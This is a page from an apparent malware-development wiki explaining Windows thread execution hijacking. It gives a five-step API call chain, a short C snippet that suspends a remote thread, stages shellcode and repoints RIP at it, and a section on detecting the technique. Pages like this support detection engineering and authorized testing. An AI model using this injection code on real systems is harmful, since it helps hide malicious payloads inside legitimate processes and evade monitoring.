Skip to content
λmaldev wiki/
pagesThread Execution Hijacking
T1055.003Windowsx64 / x86C / C++

Thread Execution Hijacking

updated 2026-07-046 min readthehackersbrain
Authorized use only. This material is published for detection engineering, malware analysis and authorized red-team engagements. Running these techniques against systems you do not own or have written permission to test is illegal.

Overview

Instead of creating a thread — the single loudest event in classic injection — hijacking borrows one that already exists. Suspend it, save its context, point RIP at staged shellcode, resume. If the shellcode restores the saved context when it finishes, the host thread continues as if nothing happened.

No new thread means no Sysmon event ID 8, which is why this technique outlives the classic approach in tooling that cares about telemetry.

Note.

Picking the thread matters more than the mechanics. Hijacking a UI or RPC thread that is mid-call will hang or crash the host; most implementations enumerate threads and prefer one parked in a wait.

The call chain

  1. 1
    OpenThread + SuspendThread
    Freeze an existing thread in the target rather than creating a new one.
  2. 2
    VirtualAllocEx + WriteProcessMemory
    Stage the shellcode; write RW first, flip later.
  3. 3
    GetThreadContext
    Capture the register state so the original flow can be restored.
  4. 4
    SetThreadContext
    Repoint RIP at the staged shellcode.
  5. 5
    ResumeThread
    Let the hijacked thread run the payload, then trampoline back.

Reference implementation

hijack.cC
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
SuspendThread(hThread);

PVOID mem = VirtualAllocEx(hProc, NULL, size, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProc, mem, shellcode, size, NULL);

DWORD old;
VirtualProtectEx(hProc, mem, size, PAGE_EXECUTE_READ, &old);  // RW -> RX, never RWX

CONTEXT ctx = { .ContextFlags = CONTEXT_CONTROL };
GetThreadContext(hThread, &ctx);
ctx.Rip = (DWORD64)mem;          // save ctx first; the stub restores it on exit
SetThreadContext(hThread, &ctx);

ResumeThread(hThread);

Detection

ETW-TI
SetThreadContext against a thread in another process — rare enough outside debuggers to alert on directly.
SYSMON EID 10
ProcessAccess requesting THREAD_SET_CONTEXT from a process that is not a debugger.
MEMORY SCAN
A thread whose RIP points into private, unbacked memory while its start address is a legitimate module.
BEHAVIOURAL
Suspend/resume pairs on a remote thread within milliseconds, with a write in between.

The cross-process SetThreadContext call is the high-fidelity signal here. Baseline your debuggers and crash handlers, then alert on everything else — the legitimate population is very small.

Was this page useful?edit this page ↗